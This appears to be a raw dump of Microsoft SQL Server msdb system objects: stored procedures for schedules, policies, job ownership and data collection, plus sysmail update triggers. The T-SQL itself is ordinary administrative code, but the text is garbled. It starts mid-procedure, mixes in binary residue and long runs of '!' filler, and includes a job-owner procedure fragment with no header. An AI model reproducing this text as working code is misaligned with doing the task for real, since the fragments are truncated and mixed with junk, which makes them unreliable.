     (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'),0) <> 1))
  BEGIN
   RAISERROR(14394, -1, -1)
   RETURN(1) -- Failure
  END
    
  --check if there are jobs using this schedule
  SELECT @job_count = count(*)
  FROM sysjobschedules 
  WHERE (schedule_id = @schedule_id)   
  
  -- If we aren't force deleting the schedule make sure no jobs are using it
  IF ((@force_delete = 0) AND (@job_count > 0))
  BEGIN 
    RAISERROR(14372, -1, -1)
    RETURN (1) -- Failure 
  END

  -- Get the one of the terget server_id's. 
  -- Getting MIN(jsvr.server_id) works here because we are only interested in this ID
  -- to determine if the schedule ID is for local jobs or MSX jobs. 
  -- Note, an MSX job can't be run on the local server
  SELECT @targ_server_id = MIN(jsvr.server_id)
  FROM msdb.dbo.sysjobschedules AS jsched 
   JOIN msdb.dbo.sysjobservers AS jsvr
      ON jsched.job_id = jsvr.job_id
  WHERE (jsched.schedule_id = @schedule_id)

  --OK to delete the job - schedule link
  DELETE sysjobschedules 
  WHERE schedule_id = @schedule_id

  --OK to delete the schedule 
  DELETE sysschedules 
  WHERE schedule_id = @schedule_id

  -- @targ_server_id would be null if no jobs use this schedule
  IF (@targ_server_id IS NOT NULL)
  BEGIN
   -- Notify SQLServerAgent of the change but only if it the schedule was used by a local job
   IF (@targ_server_id = 0)
   BEGIN 
      -- Only send a notification if the schedule is force deleted. If it isn't force deleted
      -- a notification would have already been sent while detaching the schedule (sp_detach_schedule)
      IF (@force_delete = 1)
      BEGIN
        EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'S',
                                   @schedule_id = @schedule_id,
                                   @action_type = N'D'
      END                   
   END
   ELSE
   BEGIN
    -- Instruct the tsx servers to pick up the altered schedule
    IF (@automatic_post = 1)
    BEGIN
      DECLARE @schedule_uid UNIQUEIDENTIFIER
      SELECT @schedule_uid = schedule_uid 
      FROM sysschedules 
      WHERE schedule_id = @schedule_id

      IF(NOT @schedule_uid IS NULL)
      BEGIN
        -- sp_post_msx_operation will do nothing if the schedule isn't assigned to any tsx machines 
        EXECUTE sp_post_msx_operation @operation = 'INSERT', @object_type = 'SCHEDULE', @schedule_uid = @schedule_uid
      END
    END
    ELSE
      RAISERROR(14547, 0, 1, N'INSERT', N'sp_post_msx_operation')
   END
  END
  
  RETURN(@retval) -- 0 means success
END
09I= 8-----------------------------------------------------------
-- This procedure verifies if a policy definition exists
-- The caller can pass either the name or the id
-----------------------------------------------------------
CREATE PROCEDURE [dbo].[sp_syspolicy_verify_policy_identifiers]
@name sysname = NULL OUTPUT, 
@policy_id int = NULL OUTPUT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

  IF ((@name IS NULL)     AND (@policy_id IS NULL)) OR
     ((@name IS NOT NULL) AND (@policy_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, '@name', '@policy_id')
    RETURN(1) -- Failure
  END

  -- Check id
  IF (@policy_id IS NOT NULL)
  BEGIN
    SELECT @name = name
    FROM msdb.dbo.syspolicy_policies
    WHERE (policy_id = @policy_id)
    
    -- the view would take care of all the permissions issues.
    IF (@name IS NULL) 
    BEGIN
      DECLARE @policy_id_as_char VARCHAR(36)
      SELECT @policy_id_as_char = CONVERT(VARCHAR(36), @policy_id)
      RAISERROR(14262, -1, -1, '@policy_id', @policy_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check name
  IF (@name IS NOT NULL)
  BEGIN
    -- get the corresponding policy_id (if the policy exists)
    SELECT @policy_id = policy_id
    FROM msdb.dbo.syspolicy_policies
    WHERE (name = @name)
    
    -- the view would take care of all the permissions issues.
    IF (@policy_id IS NULL) 
    BEGIN
      RAISERROR(14262, -1, -1, '@name', @name)
      RETURN(1) -- Failure
    END
  END

  RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!C`bZ<jD	0Gs*M +8(getdate())0q}_M D8vxh>,=0N 8
CREATE TRIGGER trig_sysmail_profile
ON msdb.dbo.sysmail_profile
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_profile'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_profile 
      SET last_mod_datetime = getdate(),last_mod_user = suser_sname() 
      FROM sysmail_profile p, inserted i
      WHERE p.profile_id = i.profile_id
   END
END
0,M :8
CREATE FUNCTION [dbo].[fn_syscollector_find_collection_set_root]
(
    @log_id BIGINT
)
RETURNS BIGINT
WITH RETURNS NULL ON NULL INPUT
AS
BEGIN
    DECLARE @root_id BIGINT;

    -- Derive result using a CTE as the table is self-referencing
    WITH graph AS
    (
        -- select the anchor (specified) node
        SELECT log_id, parent_log_id FROM dbo.syscollector_execution_log WHERE log_id = @log_id
        UNION ALL
        -- select the parent node recursively
        SELECT node.log_id, node.parent_log_id FROM dbo.syscollector_execution_log node
        INNER JOIN graph AS leaf ON (node.log_id = leaf.parent_log_id)
    )
    SELECT @root_id = log_id FROM graph WHERE parent_log_id = 0;
    
    --Return result
    RETURN ISNULL(@root_id, @log_id)
END 
0yM 8CREATE PROCEDURE [dbo].[sp_syspolicy_delete_target_set] 
@target_set_id int
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DELETE msdb.[dbo].[syspolicy_target_sets_internal] 
		WHERE target_set_id = @target_set_id
	
	IF (@@ROWCOUNT = 0)
	BEGIN
		DECLARE @target_set_id_as_char VARCHAR(36)
		SELECT @target_set_id_as_char = CONVERT(VARCHAR(36), @target_set_id)
		RAISERROR(14262, -1, -1, '@target_set_id', @target_set_id_as_char)
		RETURN (1)
	END

    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`d<	Dco0{T 8
CREATE PROCEDURE sp_help_jobs_in_schedule 
  @schedule_name       sysname  = NULL, -- Specify if @schedule_id is null
  @schedule_id         INT      = NULL  -- Specify if @schedule_name is null
AS
BEGIN
  SET NOCOUNT ON

  DECLARE @retval   INT

  -- Check that we can uniquely identify the schedule. This only returns a schedule that is visible to this user
  EXECUTE @retval = msdb.dbo.sp_verify_schedule_identifiers @name_of_name_parameter = '@schedule_name',
                                                            @name_of_id_parameter   = '@schedule_id',
                                                            @schedule_name          = @schedule_name    OUTPUT,
                                                            @schedule_id            = @schedule_id      OUTPUT,
                                                            @owner_sid              = NULL,
                                                            @orig_server_id         = NULL
  IF (@retval <> 0)
    RETURN(1) -- Failure 

  EXECUTE @retval = msdb.dbo.sp_get_composite_job_info @schedule_id = @schedule_id
  IF (@retval <> 0)
    RETURN(1) -- Failure 


  RETURN (0) -- 0 means success
END
0*AT +8(getdate())0v,T 8
CREATE TRIGGER [dbo].[syspolicy_insert_target_set_trigger] 
    ON [dbo].[syspolicy_target_sets_internal]
FOR INSERT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

    DECLARE @update_notifications INT
    DECLARE @update_ddl_trigger   INT

    SET @update_notifications = 0
    SET @update_ddl_trigger = 0

    -- Only need to check Server TargetSets, as they don't have levels
    SELECT @update_notifications = SUM (p.execution_mode & 2), @update_ddl_trigger = SUM (p.execution_mode & 1)
        FROM inserted i
        JOIN msdb.dbo.syspolicy_object_sets_internal os ON i.object_set_id = os.object_set_id
        JOIN msdb.dbo.syspolicy_policies p ON (os.object_set_id = p.object_set_id)    
        WHERE i.type = 'SERVER' AND ((p.execution_mode & 3) > 0 AND p.is_enabled = 1)

    IF (@update_ddl_trigger > 0)
        EXEC sys.sp_syspolicy_update_ddl_trigger 

    IF    (@update_notifications > 0)    
        EXEC sys.sp_syspolicy_update_event_notification 
END
Failure
  END

  -- Check parameter combinations
  IF ((@action = 'DELETE') AND (@new_owner_login_name IS NOT NULL))
    RAISERROR(14281, 0, 1)

  IF ((@action = 'REASSIGN') AND (@new_owner_login_name IS NULL))
  BEGIN
    RAISERROR(14237, -1, -1)
    RETURN(1) -- Failure
  END

  -- Check current login
  SELECT @current_sid = dbo.SQLAGENT_SUSER_SID(@current_owner_login_name)
  IF (@current_sid IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@current_owner_login_name', @current_owner_login_name)
    RETURN(1) -- Failure
  END

  -- Check new login (if supplied)
  IF (@new_owner_login_name IS NOT NULL)
  BEGIN
    SELECT @new_sid = dbo.SQLAGENT_SUSER_SID(@new_owner_login_name)
    IF (@new_sid IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@new_owner_login_name', @new_owner_login_name)
      RETURN(1) -- Failure
    END
  END

  IF (@action = 'DELETE')
  BEGIN
    DECLARE jobs_to_delete CURSOR LOCAL
    FOR
    SELECT job_id
    FROM msdb.dbo.sysjobs
    WHERE (owner_sid = @current_sid)

    OPEN jobs_to_delete
    FETCH NEXT FROM jobs_to_delete INTO @job_id

    SELECT @rows_affected = 0
    WHILE (@@fetch_status = 0)
    BEGIN
      EXECUTE sp_delete_job @job_id = @job_id
      SELECT @rows_affected = @rows_affected + 1
      FETCH NEXT FROM jobs_to_delete INTO @job_id
    END
    DEALLOCATE jobs_to_delete
    RAISERROR(14238, 0, 1, @rows_affected)
  END
  ELSE
  IF (@action = 'REASSIGN')
  BEGIN
    -- Check if the current owner owns any multi-server jobs.
    -- If they do, then the new owner must be member of the sysadmin role.
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobs       sj,
                     msdb.dbo.sysjobservers sjs
                WHERE (sj.job_id = sjs.job_id)
                  AND (sj.owner_sid = @current_sid)
                  AND (sjs.server_id <> 0)) AND @new_sid <> 0xFFFFFFFF) -- speical account allowed for MSX jobs
    BEGIN
      SELECT @is_sysadmin = 0
      EXECUTE msdb.dbo.sp_sqlagent_has_server_access @login_name = @new_owner_login_name, @is_sysadmin_member = @is_sysadmin OUTPUT
      IF (@is_sysadmin = 0)
      BEGIN
        RAISERROR(14543, -1, -1, @current_owner_login_name, N'sysadmin')
        RETURN(1) -- Failure
      END
    END

    UPDATE msdb.dbo.sysjobs
    SET owner_sid = @new_sid
    WHERE (owner_sid = @current_sid)
    RAISERROR(14239, 0, 1, @@rowcount, @new_owner_login_name)
  END

  RETURN(0) -- Success
END
0T 8
CREATE TRIGGER trig_sysmail_configuration
ON msdb.dbo.sysmail_configuration
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_configuration'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_configuration 
      SET last_mod_datetime = getdate(),last_mod_user = suser_sname() 
      FROM sysmail_configuration c, inserted i
      WHERE c.paramname = i.paramname
   END
END
0劖T +8(getdate())0aT ,8CREATE PROCEDURE [dbo].[sp_syscollector_delete_collection_set]
    @collection_set_id            int = NULL,
    @name                        sysname = NULL
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    -- Security check (role membership)
    EXECUTE AS CALLER;
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        REVERT;
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN (1)
    END
    REVERT;

    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    DECLARE @is_system            bit
    DECLARE @is_running            bit
    DECLARE @upload_job_id        uniqueidentifier
    DECLARE @collection_job_id    uniqueidentifier
    DECLARE @collection_mode    smallint
    SELECT    @is_running = is_running,
            @is_system = is_system,
            @upload_job_id = upload_job_id, 
            @collection_job_id = collection_job_id,
            @collection_mode = collection_mode
    FROM [dbo].[syscollector_collection_sets]
    WHERE collection_set_id = @collection_set_id

    IF (@is_system = 1)
    BEGIN
        -- cannot update, delete, or add new collection items to a system collection set
        RAISERROR(14696, -1, -1);
        RETURN (1)
    END

    IF (@is_running = 1)
    BEGIN
        EXEC @retVal = sp_syscollector_stop_collection_set @collection_set_id = @collection_set_id
        IF (@retVal <> 0)
            RETURN (1)
    END

    -- All checks are go
    -- Do the actual delete
    EXEC @retVal = sp_syscollector_delete_collection_set_internal
                        @collection_set_id = @collection_set_id, 
                        @name = @name,
                        @collection_job_id = @collection_job_id,
                        @upload_job_id = @upload_job_id,
                        @collection_mode = @collection_mode
    RETURN (0)
END
